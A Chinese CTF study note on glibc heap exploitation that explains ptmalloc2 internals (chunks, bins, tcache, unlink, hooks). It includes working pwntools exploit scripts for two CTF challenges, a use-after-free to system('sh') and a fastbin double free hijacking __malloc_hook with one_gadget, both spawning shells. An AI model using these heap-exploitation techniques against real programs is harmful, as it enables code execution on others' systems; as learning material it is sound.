CTF中常见堆利用总结1
pre
基本上从大手子a3师傅的文章中复制过来学习的
https://arttnba3.cn/2021/05/10/PWN-0X01-GLIBC_HEAP-EXPLOIT
0x00 前言
前置知识
基本的 pwn 知识
x86 汇编语言基础
C 语言基础
数据结构基础
0x01 堆内存的分配&释放
与数据结构中的堆不同,这里我们所说的【堆】指的是进程运行过程中为动态内存分配所服务的内存段,在 Linux 下包括传统的 heap 段 与 Memory Mapping Segment 段,如下图所示(本图来自 CTF wiki):
堆相关系统调用
brk
brk 系统调用用以在 heap 段将要耗尽时对其进行拓展,其增长方向为向高地址增长
mmap
mmap 系统调用用以在内存中映射一块区域,当我们尝试直接分配较大的内存块时 ptmalloc 便会通过 mmap 系统调用在内存中分配一块匿名内存块
内存分配基本思想:重用
堆管理器处于用户程序与内核中间,主要做以下工作:
- 响应用户的申请内存请求。堆管理器负责向操作系统申请内存,然后将其返回给用户程序,但是频繁的系统调用会造成大量的开销。为了保持内存管理的高效性,内核一般都会预先分配很大的一块连续的内存,然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况,堆管理器才会再次与操作系统进行交互。
- 管理用户所释放的内存。一般来说,用户释放的内存并不是直接返还给操作系统的,而是由堆管理器进行管理。这些释放的内存可以来响应用户新申请的内存的请求。
0x02 堆相关的数据结构
此部分内容推荐阅读: glibc2.23malloc 源码分析 - I:堆内存的基本组织形式 进行深入理解,这里只是帮大家了解个大概的样子
1.chunk
通常情况下,我们将向系统申请得到的内存块称之为一个 chunk
基本结构
在 ptmalloc2 的内部使用 malloc_chunk 结构体来表示,代码如下:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};各字段含义如下:
- prev_size:用以保存前一个内存物理地址相邻的 chunk 的 size,仅在该 chunk 为 free 状态时会被使用到
- size:顾名思义,用以保存这个 chunk 的总的大小,即同时包含 chunk 头(prev_size + size)和 chunk 剩余部分的大小
- fd&&bk:仅在在 chunk 被 free 后使用,用以连接其他的 chunk,也就是说当 chunk 处于被使用的状态时该字段无效,被用以存储用户的数据
- fd_nextsize&&bk_nextsize:仅在在 chunk 被 free 后使用,用以连接其他的 chunk
由于最后的两个变量仅用于较大的 free 的 chunk,故我们先暂且忽略
其中 prev_size 字段与 size 字段被称之为 chunk header,用以存储 chunk 相关数据,剩下的部分才是系统真正返回给用户进行使用的部分
内存对齐
宏 MALLOC_ALIGNMENT 定义了 chunk 在内存中对齐的字节数,一般来说算出来都是对 2 * SIZE_SZ 对齐,即 32 位下 8 字节对齐,64 位下 16 字节对齐
标志位定义及相关宏
我们知道对于一个 malloc_chunk 而言其 size 字段应当与 MALLOC_ALIGNMENT (32 位下为 8 字节,64 位下为 16 字节)对齐,而在这样的情况下一个 chunk 的 size 字段的低 3/4(32/64 位系统)位将会永远为 0,无法得到充分的利用
因此,出于能压榨一点空间是一点空间的思想,一个 chunk 的 size 字段的低三位用以保存 chunk 相关的三个状态,代码如下:
/*
--------------- Physical chunk operations ---------------
*/
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)从低位到高位依次如下:
- PREV_IN_USE:该 chunk 内存物理相邻的上一个 chunk 是否处于被分配状态(0 否 1 是)
- IS_MAPPED:该 chunk 是否是由 mmap()进行内存分配得到的
- NON_MAIN_ARENA:该 chunk 是否是一个不属于 main_arena 的 chunk
关于 chunk 间的内存复用及 request2size 计算相关事项
众所周知,ptmalloc 在组织各 chunk 时允许一个 chunk 复用其物理相邻的下一个 chunk 的 prev_size 字段作为自己的储存空间,这也是为什么当一个 chunk 的物理相邻的前一个 chunk 处在被分配状态时该 chunk 的 prev_size 字段无效的原因,大致图示如下:
Top Chunk
Top Chunk 是所有 chunk 中较为特殊的一个 chunk,由于系统调用的开销较大,故一般情况下 malloc 都不会频繁地直接调用 brk 系统调用开辟堆内存空间,而是会在一开始时先向系统申请一个较大的 Top Chunk,后续需要取用内存时便从 Top chunk 中切割,直到 Top chunk 不足以分配所需大小的 chunk 时才会进行系统调用
图示:
high ^ –> | low –> top chunk
low | –> v high –> 内部切割,不足 brk
2.arena
arena 这个词直译是“竞技场”的意思,wsm 要起这种奇怪的名字我也不知道,可能是因为听起来比较帅气吧,按照笔者的理解,arena 在 ptmalloc2 中用以表示 「单个线程独立维护的内存池」 ,这是由于大部分情况下对于每个线程而言其都会单独有着一个 arena 实例用以管理属于该线程的堆内存区域,包括 Bins、Fastbin 等其实都是被放置在 arena 的结构体中统一进行管理的
main_arena
main_arena 即**主线程所使用的 arena **,为一个定义于 malloc.c 中的静态的 malloc_state 结构体,如下:
/* There are several instances of this struct ("arenas") in this
malloc. If you are adapting this malloc in a way that does NOT use
a static or mmapped malloc_state, you MUST explicitly zero-fill it
before using. This malloc relies on the property that malloc_state
is initialized to all zeroes (as is true of C statics). */
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};该 arena 位于 libc 中,而并不似其他 arena 一般位于堆区
在堆题中通常通过泄露 arena 的地址以获得 libc 在内存中的基地址
①fast bin
ptmalloc2 独立于 Bins 之外单独设计了一个 Fastbin 用以储存一些 size 较小的闲置 chunk
- Fastbins 是一个用以保存最近释放的较小的 chunk 的数组,为了提高速度其使用单向链表进行链接
- Fastbin 采取 FILO/LIFO 的策略,即每次都取用 fastbin 链表头部的 chunk ,每次释放 chunk 时都插入至链表头部成为新的头结点,因而大幅提高了存取 chunk 的速度
- Fastbin 中的 chunk 永远保持在 in_use 的状态,这也保证了她们不会被与其他的 free chunk 合并
- malloc_consolidate()函数将会清空 fastbin 中所有的 chunk,在进行相应的合并后送入普通的 bins 中
- 32 位下最大的 fastbin chunk size 为 0x40, 64 位下最大的 fastbin chunk size 为 0x80,超过这个范围的 chunk 在 free 之后则不会进入 fastbin 中
①.1 安全检查
I.size
在 malloc() 函数分配 fastbin size 范围的 chunk 时,若是对应的 fastbin 中有空闲 chunk,在取出前会检查其 size 域与对应下标是否一致,不会检查标志位,若否便会触发 abort
II.double free
在 free() 函数中会对 fastbin 链表的头结点进行检查,若将要被放入 fastbin 中的 chunk 与对应下标的链表的头结点为同一 chunk,则会触发 abort
III.Safe linking 机制(only glibc2.32 and up)
自 glibc 2.32 起引入了 safe-linking 机制,其核心思想是在链表上的 chunk 中并不直接存放其所连接的下一个 chunk 的地址,而是存放下一个 chunk 的地址与【自身地址右移 12 位】所异或得的值,使得攻击者在得知该 chunk 的地址之前无法直接利用其构造任意地址写
需要注意的是 fastbin 的入口节点存放的仍是未经异或的 chunk 地址
②tcache(only libc2.26 and up)
Thread Cache(tcache)机制用以快速存取 chunk,使用如下结构体进行管理:
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;- counts:用以存储该 tcache 中每个 entry 中的 chunk 的数量,glibc2.29 及之前的版本中每个 entry 的 count 都是 char 类型,自 glibc2.30 起改为 uint16_t 类型
- entry:用以存储 存放在 tcache 中的 chunk 链表的头节点
tcache 中一共有 64 个 entries ,每个 entries 使用如下结构体进行管理:
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;即 tcache 中的 chunk 为使用 fd 域连接的单向链表,自 glibc2.29 起 使用 bk 域保存 tcache key
tcache 同样采用 FIFO 机制存取 chunk,每个链条上仅能连接 7 个 chunk,当对应的 entry 满了以后再 free 一个 chunk 则会放入 fastbin 或 unsorted bin 中
与普通的 bin 所不同的是,tcache 中空闲 chunk 的 fd 域指向的并非是下一个 chunk 的 prev_size 域,仍是 fd 域
①.1 安全保护机制
tcache 机制刚出来时基本上是毫无保护的,因此对于 tcache 的利用比以往要简单得多(比如说可以直接 double free、任意地址写等
I.tcache key(only libc2.29 and up)
自 glibc2.29 版本起 tcache 新增了一个 key 字段,该字段位于 chunk 的 bk 字段,值为 tcache 结构体的地址,若 free() 检测到 chunk->bk == tcache 则会遍历 tcache 查找对应链表中是否有该 chunk
最新版本的一些老 glibc (如新版 2.27 等)也引入了该防护机制
II.Safe linking 机制(only glibc2.32 and up)
与 fastbin 的 safe-linking 机制相同,这里便不再过多赘叙
不过相比起 fastbin 而言,tcache 的 safe-linking 机制给了我们新的泄露堆基址的方式:
我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的 fd 字段,便能够直接获得未经异或运算的堆上相关地址
同时我们注意到,在 tcache->entry 中存放的仍是未经加密过的地址,若是我们能够控制 tcache 管理器则仍可以在不知道堆相关地址时进行任意地址写
③bins 数组
即常规的存放 chunk 的数组,其中存放的 chunk 使用【双向链表】进行连接
专门有着一种叫做 unlink 的机制用以从其中取出 chunk,其中有着各种各样的安全检查
unlink
I.unlink under glibc2.28(involved)
由于从各种 bins 中取出一个 chunk 的操作十分频繁,若是使用函数实现则会造成较大的开销,故 unlink 操作被单独实现为一个宏,如下:
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}大致的一个流程如下:
- P 为要被 unlink 的 chunk,FD、BK 则是 chunk:P->fd 与 P->bk
- 检查 FD->bk 与 BK->fd 是否都指向 P,若否,则输出错误信息
- 将 FD->bk 指向 BK,将 BK->fd 指向 FD,这个时候这个 chunk 便已经不在该 bin 的双向循环链表中了
- 若是 chunk size 位于 small bin 的范围内,则 unlink 结束,否则标志着此时 chunk 的 fd_nextsizebk_nextsize 字段是启用的,需要接着将之从 nextsize 链表中 unlink(large bin 特有)
- 检查 P->fd_nextsize->bk_size 与 P->bk_nextsize->fd_nextsize 是否指向 P,和前面的过程类似这里便不再赘叙
- 若 FD->fd_nextsize 不为 NULL,则将 P 从其所处 nextsize 链表中 unlink
- 若 FD->fd_nextsize 为 NULL 时,若 P->fd_nextsize 指向自身,则将 FD->fd_nextsize 与 FD->bk_nextsize 都指向 FD(代表该 chunk 不属于任何一个 nextsize 链表?),否则使用 FD 替换掉 P 所在的 nextsize 链表中的位置
II.unlink over glibc 2.29(involved)
自 glibc 2.29 起 unlink 被实现为一个函数,如下:
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}unsorted bin
用以临时存放堆块的 bin,在 size 大于 fastbin 范围、tcache 链表已满(如果有 tcache )时一个 chunk 在 free 之后则会先被放入 unsorted bin 中
若被放入 unsorted bin 中的 chunk 与原有 unsorted chunk 物理相邻则会合并成一个大 chunk
small bin
存放 size 较小的空闲 chunk 的 bin
large bin
存放 size 较大的空闲 chunk 的 bin
0x03.内存分配相关函数
一、malloc
malloc() 函数用于分配 chunk,首先从 tcahe 到 fastbin 再到 bins 中寻找可用 chunk,当现有的常规空闲 chunk 不直接满足要求时会从 top chunk 中进行切割或是尝试合并可以合并的相邻空闲 chunk,万不得已时才会进行系统调用
__malloc_hook
位于 libc 中的函数指针变量,通常为 NULL,不为 NULL 时 malloc() 函数会优先调用该函数指针
二、free
free() 函数用于将对应的空闲 chunk 放入相应的 bin 中,在一定情况下还会合并相邻空闲 chunk
__free_hook
位于 libc 中的函数指针变量,通常 为 NULL ,不为 NULL 时 free() 函数会优先调用该函数指针,传入的参数为要 free 的 chunk 的 fd 域的地址
三、realloc
用以扩展 chunk,相邻 chunk 闲置且空间充足则会进行合并,否则会重新分配 chunk
即通过 realloc 我们可以完成对一个 chunk 的 free,也就是说在特殊情况下 realloc 是可以当作 free 使用的,其中,在 size 为 0 的情况下,realloc 函数会调用 free 释放该 chunk
__realloc_hook
位于 libc 中的函数指针变量,通常为 NULL ,不为 NULL 时 realloc() 函数会优先调用该函数指针
由于 **realloc_hook 与 **malloc_hook 相邻,因此在 heap exploit 中有着这样一种手法便是同时修改这两个 hook,通过 __libc_realloc 中的一些 gadget 调整堆栈以满足一些特定的要求
四、calloc
在最近的 CTF 比赛中开始变得热门的一个函数,该函数在分配时会清空 chunk 上的内容,这使得我们无法通过以往的重复存取后通过 chunk 上残留的脏数据的方式泄露信息(例如通过 bins 数组遗留的脏数据泄露 libc 基址等),同时该函数不从 tcache 中拿 chunk,但是 free() 函数默认还是会先往 tcache 里放的,这无疑增加了我们利用的难度
五、malloc_consolidate
该函数用以清空 fastbins 中 chunk、合并相邻空闲 chunk,如下:
/*
------------------------- malloc_consolidate -------------------------
malloc_consolidate is a specialized version of free() that tears
down chunks held in fastbins. Free itself cannot be used for this
purpose since, among other things, it might place chunks back onto
fastbins. So, instead, we need to use a minor variant of the same
code.
Also, because this routine needs to be called the first time through
malloc anyway, it turns out to be the perfect place to trigger
initialization code.
*/
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;
/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/
if (get_max_fast () != 0) {
clear_fastchunks(av);
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;
/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;
if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}首先会先检查 global_max_fast:
- 若不为 0 则会设置该 arena 的 FASTCHUNKS_BIT 标志位,意味着接下来该函数会清空该 arena 的 fastbin 中的 chunks
- 若为 0 则意味着该线程的 arena 未进行初始化,此时便会调用 malloc_init_state()函数初始化该 arena,随后使用 check_malloc_state()宏进行检查后该函数便结束了,在非 DEBUG 模式下(未定义宏 MALLOC_DEBUG)该宏为空
接在已经初始化的情况下接下来会分别获取指向 arena 中 fastbinsY 数组首尾元素的指针,用以对 fastbinsY 数组进行遍历,这个遍历由两层循环嵌套而成:
外层循环:遍历 fastbinsY 数组元素
我们单独将这个循环嵌套拿出来看为如下形式:
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0)
{
do {
// inner loop there
} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);我们不难看出外层循环的作用便是逐个取出 fastbinsY 数组中元素,随后交由内层循环进行下一步的处理
在这里使用了一个宏 atomic_exchange_acq(),用途是通过原子读操作设置新值,返回旧值,前面已解析过类似宏,这里便不再赘叙
虽然前文我们有讲到 fastbinsY 数组的下标包括 7 及往后都是用不到的,但是在这里仍会尝试对齐进行遍历
内层循环:遍历 fastbin 链表、合并空闲 chunk
在内层循环中会从我们从外层循环中所取得的 fastbins 链表的头结点开始进行遍历,并进行空闲 chunk 的合并以减少内存碎片
若获取到的头结点为 NULL 则会直接跳过该层循环,否则进入下面的步骤
在这里有一个宏 check_inuse_chunk(),该宏在非 DEBUG 模式下(宏 MALLOC_DEBUG undefined)也为空
首先会获取该节点 chunk 的 size,在这里获取到的 size 清除了 PREV_INUSE 标志位与 NON_MAIN_ARENA 标志位,这是为了在后面的合并过程中能够准确地获取到高地址相邻 chunk 的位置
说起来网上很多关于 malloc_consolidate()的博客都有讲到所谓「前向合并」和「后向合并」,但是哪边是前哪边是后笔者暂且蒙在古里(注释里笔者也没看到 forward/backward…
那么下文我们按照对其称呼的惯例做出如下约定:将向高地址的合并称为「前向合并」,向低地址的合并称为「后向合并」
① 后向合并:使用 unlink 取出相邻低地址 chunk(若已 free)
首先会检查该 chunk 的 PREV_IN_USE 标志位,若不为 1 则说明低地址相邻 chunk 必为存放在 bins 数组中的 free chunk,这是因为当一个 chunk 被使用中/被放入 fastbin 中,其相邻高地址的 chunk 的 PREV_INUSE 标志位都不会被清除,只有放入 bins 中才会清除该标志位,相关机制我们会在后文的_int_free()函数中详细进行分析
这种情况下会在前面的 size 变量中加上原 chunk 的 prevsize 域的值,将 chunk 指针移动至指向该空闲 chunk,如下图所示:
需要注意的是在这里是使用原 chunk 的 prevsize 域计算该空闲 chunk 的大小,而并非直接使用低地址空闲 chunk 的 size 域
② 前向合并:若为 top chunk 则合并入 top chunk 中,否则会尝试合并后插入 unsorted_bin 中
1)nextchunk 为 top chunk
首先会检查 nextchunk 是否为 top chunk,若是则流程会简便得多:将该 chunk 的 size 加上 nextchunk 的 size,设置 PREV_INUSE 标志位,将 arena 的 top chunk 设置为该 chunk 后便进入下一步
2)nextchunk 不为 top chunk
若 nextchunk 不为 top chunk,则首先会检查 nextchunk 的物理相邻高地址 chunk 的 PREV_INUSE 标志位
- 若不为 0 则会清除 nextchunk 的 PREV_INSUE 位
- 若为 0 则使用 unlink 将 nextchunk 从 bins 中取出 接下来会将该 chunk 放入 unsorted bin 中,需要注意的是在这里使用的是头插法使其成为 unsorted bin 的头结点
接下来会检查 chunk 最终的大小,若是 size 不处于 smallbins 范围内则会设置其 fd_nextsize 与 bk_nextsize 为 NULL
最后,设置该 chunk 的 PREV_INUSE 位为 1,设置当前情况下的物理相邻 chunk 的 prevsize 域为该 chunk 的 size
③ 检查链表中的下一个 chunk,不为 NULL 则继续新一轮循环
虽然 chunk 指针可能在合并中被修改,但是我们在前面已经保存了其 fd,若不为 NULL 则进行下一轮循环,故可以继续遍历链表的进程
0x04.基础的利用方式
一、地址泄露
与 ret2libc 相同,CTF 的堆题中往往不会直接给我们后门函数,同时地址随机化保护往往也都是开着的(准确地说,几乎所有的堆题都是保 护 全 开),故我们仍然需要利用 libc 中的 gadget 以获得 flag
bins - libc 基址
(除 fastbin 与 tcache 以外)bins 与空闲 chunk 间构成双向链表结构,利用这个特性我们便可以泄漏出 main_arena 的地址,进而泄漏出 libc 的基址
gdb 调试可以方便我们知道 chunk 上所记载的与 main_arena 间的偏移
通常情况下,我们利用 unsorted bin 中的 chunk 泄露 libc 地址,其与 main_arena 间距离为 0x58/0x60(libc2.26 and up, with tcache),而 main_arena 与 __malloc_hook 间地址相差 0x10,故有如下板子:
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 # tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58 # no tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - offset # other condition(not unsorted bin leak)
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']这种利用的方式可以是通过垂悬指针打印 bins 中 chunk 内容,也可以是通过送入 bins 后再分配回来后打印 chunk 上残留的脏数据获得
_IO_FILE - libc 基址
主要针对没有打印函数或者打印次数不够(比如说只能输出一次但是得先泄露堆基址的 libc2.32 一类的)的情况,我们可以通过劫持IO_2_1_stdout 结构体以泄漏出 libc 的地址,由于 mainarena 与 _IO_2_1_stdout 在相靠近的几个页内,故我们可以通过 partial overwrite 的方式以 1/16 的概率去撞 IO_2_1_stdout,之后修改该结构体以使得诸如 puts 这样的函数误认为有未输出内容从而打印出 libc 相关地址,可以通过 gdb 进行调试获得泄露出的地址相对于 libc 基址的偏移
本内容放到后面的 IO_FILE exploit 章节再行详细阐述
tcache key - 堆基址(only libc2.29 and up)
tcache key 所用的值便是 tcache 结构体本身的地址,故若我们能够打印 tcache key ,就能直接获得堆基址
对于常规的其他堆地址,我们还有如下板子:
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x290 - 0x10 - offset # C
heap_base = heap_leak - 0x11c10 - 0x290 - 0x10 - offset # C++ with string cin coutsafe-linking in tcache - 堆基址(only libc2.32 and up)
在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的 fd 字段,便能够直接获得未经异或运算的堆上相关地址
二、use after free
use after free 即对于垂悬指针的利用,在这类题目中往往题目在逻辑设计上会在 free 一个堆块后留下一个垂悬指针,未将其置 NULL ,使得该堆块虽然被 free 了,但是我们仍然能够使用该堆块
常见的垂悬指针利用有:
- 泄露数据
- double free
- 构造任意地址写
例题:ciscn_2019_n_3 - Use After Free
惯例的 checksec,发现只开了 NX 和 canary
拖入 IDA 进行分析,大概是一道有着分配、释放、打印堆块功能的程序
释放堆块时用的是堆块上的函数指针
在释放堆块后不会将堆块指针置 NULL,存在 UAF 漏洞
由于程序中存在 system 函数,故考虑通过 UAF 覆写堆块指针为 system 后执行 system(“sh”)以 get shell
构造 exp 如下:
from pwn import *
#context.log_level = 'debug'
context.arch = 'i386'
p = process('./ciscn_2019_n_3') # p = remote('node3.buuoj.cn', 27248)
e = ELF('./ciscn_2019_n_3')
libc = ELF('./libc-2.27.so')
def cmd(command: int):
p.recvuntil(b"CNote")
p.sendline(str(command).encode())
def new(index: int, value: int):
cmd(1)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
p.recvuntil(b"Type")
p.sendline(str(1).encode())
p.recvuntil(b"Value")
p.sendline(str(value).encode())
def new(index: int, length: int, content):
cmd(1)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
p.recvuntil(b"Type")
p.sendline(str(2).encode())
p.recvuntil(b"Length")
p.sendline(str(length).encode())
p.recvuntil(b"Value > ")
p.sendline(content)
def free(index: int):
cmd(2)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
def dump(index: int):
cmd(3)
p.recvuntil(b"Index")
p.sendline(str(index).encode())
def exp():
new(0, 0x114, b'arttnba3') # idx 0
new(1, 0x114, b'arttnba3') # idx 1
free(0)
free(1)
new(2, 0xc, b'sh\x00\x00' + p32(e.sym['system'])) # idx2, overlapping with idx 0
free(0)
p.interactive()
if __name__ == '__main__':
exp()①double free
double free 则是 use after free 中最为热门的一种利用方式,当同一个 chunk 在堆管理器中同时存在两份副本时,我们将其中一个堆块分配回来并改写其 fd 指针,当该 chunk 再一次被取出时,留在堆管理器中的 chunk 地址便是由我们写入的 fake chunk 地址,此时我们再行分配便可以在我们所希望的地址获得一个 chunk,实现任意地址写
I.fastbin double free
由于 fastbin 对于 double free 的检查较为稀松,故通常考虑通过 fastbin double free 进行任意地址写
fastbin 仅会检查链表的第一个节点,故仅需要构造 A->B->A 的 free() 链即可完成 fastbin double free,通过这样的方式我们可以利用 fastbin 进行有限地址写,这种利用方式也叫做 fastbin dup
size 检查
在 malloc 取出 fastbin 中的 chunk 时会检查其 size 字段,若与其对应下标不相符则会引发程序 abort,限制了我们所能构造 fake chunk 的位置,但该 size 检查不会检查标志位
__malloc_hook - 0x23
fastbin attack 中分配到malloc_hook 附近的 fake chunk 通常都是 malloc(0x60),也就是 size == 0x71,这是因为在malloc_hook - 0x23 这个地址上 fake chunk 的 SIZE 的位置刚好是 0x7f,满足了绕过 fastbin 的 size 检查的要求
这是一个十分优雅的位置,因为无论何时这个位置上的值都是 0x7f,同时离 **malloc_hook 仅有 0x23 字节的距离,我们在构造 size 为 0x71 的 fake fastbin chunk 时若是构造到这个位置则完全不需要担心 size 检查的问题,因此 **malloc_hook - 0x23 也就成为了构造 fake fastbin chunk 的“热门地带”
需要注意的是在 libc2.31 版本中这个位置上的数据已经不再是 0x7f,故我们需要具体问题具体分析,具体版本具体调试
例题:bytectf2019 - mulnote - use after free + fastbin attack + one_gadget
点击下载-mulnote.zip
一道有着分配、编辑、打印、释放堆块功能的题目
漏洞点主要在于释放函数的策略,对于每一次堆块的释放,其都会起一个新的线程执行释放堆块操作
每一个线程都会调用 start_routine 函数完成最终的操作,漏洞点就在于 free()之后线程会先休眠几秒后再将堆块指针置零,若是我们在这段时间内进行其他操作,便可以 double free + 地址泄露一套带走
libc2.23,没有 tcache,考虑 fastbin double free 劫持__malloc_hook 为 one_gadget 以 get shell
构造 exp 如下:
from pwn import *
p = process('./mulnote', env = {'LD_PRELOAD':'./libc.so'})
e = ELF('./mulnote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x4526a
def cmd(command):
p.recvuntil(b">")
p.sendline(command)
def new(size:int, content):
cmd(b'C')
p.recvuntil(b"size>")
p.sendline(str(size).encode())
p.recvuntil(b"note>")
p.sendline(content)
def edit(index:int, content):
cmd(b'E')
p.recvuntil(b"index>")
p.sendline(str(index).encode())
p.recvuntil(b"new note>")
p.sendline(content)
def free(index:int):
cmd(b'R')
p.recvuntil(b"index>")
p.sendline(str(index).encode())
def show():
cmd(b'S')
def exp():
# initialize
new(0x60, b'arttnba3') # idx 0
new(0x60, b'arttnba3') # idx 1
new(0x80, b'arttnba3') # idx 2
new(0x10, b'arttnba3') # idx 3
# leak the libc
free(2)
show()
main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base: ' + hex(libc_base))
# fastbin double free
free(0)
free(1)
free(0)
# fastbin attack
new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 0
new(0x60, b'arttnba3') # idx 1
new(0x60, b'arttnba3') # idx 2, overlapping chunk with idx 0
new(0x60, b'A' * 0x13 + p64(libc_base + one_gadget))
# get the shell
cmd(b'C')
p.recvuntil(b"size>")
p.sendline(str(0x10).encode())
p.interactive()
if __name__ == '__main__':
exp()II.tcache double free
